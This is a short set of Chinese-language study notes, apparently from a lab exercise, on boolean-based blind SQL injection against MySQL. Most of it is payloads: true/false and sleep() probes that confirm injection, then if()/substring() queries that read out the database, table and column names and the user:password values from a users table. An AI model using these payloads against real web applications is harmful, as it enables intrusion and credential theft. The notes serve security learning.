原理:在页面输入错的信息时,不返回数据库信息,只返回对错的内容的话。就可以利用if语句的01反馈,来判断我们查询的数据是否存在。
代码原理看资料
黑盒测试:
1.判断注入
1’and ‘1’=’1
1’and ‘1’=’2 //返回结果不一样的话就存在注入
也可以用延时注入判断
1’and sleep(5) —
2.存在注入的话,构造if语句判断信息
先判断库名长度,在用截取函数判断字符。
1’ and if(length(database())=4,1,0)— +
1’ and if(substring(database(),1,1)=’d’,1,0)—+
1’and if(substring((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1),1,1)=’g’,1,0)—+
1’and if(substring((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=’users’ limit 1,1),1,1)=’u’,1,0)—+
1’and if((SELECT LENGTH(CONCAT(user,0x3a,PASSWORD)) from users limit 1)=38,1,0) —+
1’and if(substring((select CONCAT(user,0x3a,PASSWORD) from users limit 1),1,1)=’a’,1,0)—+
可以和bp联动
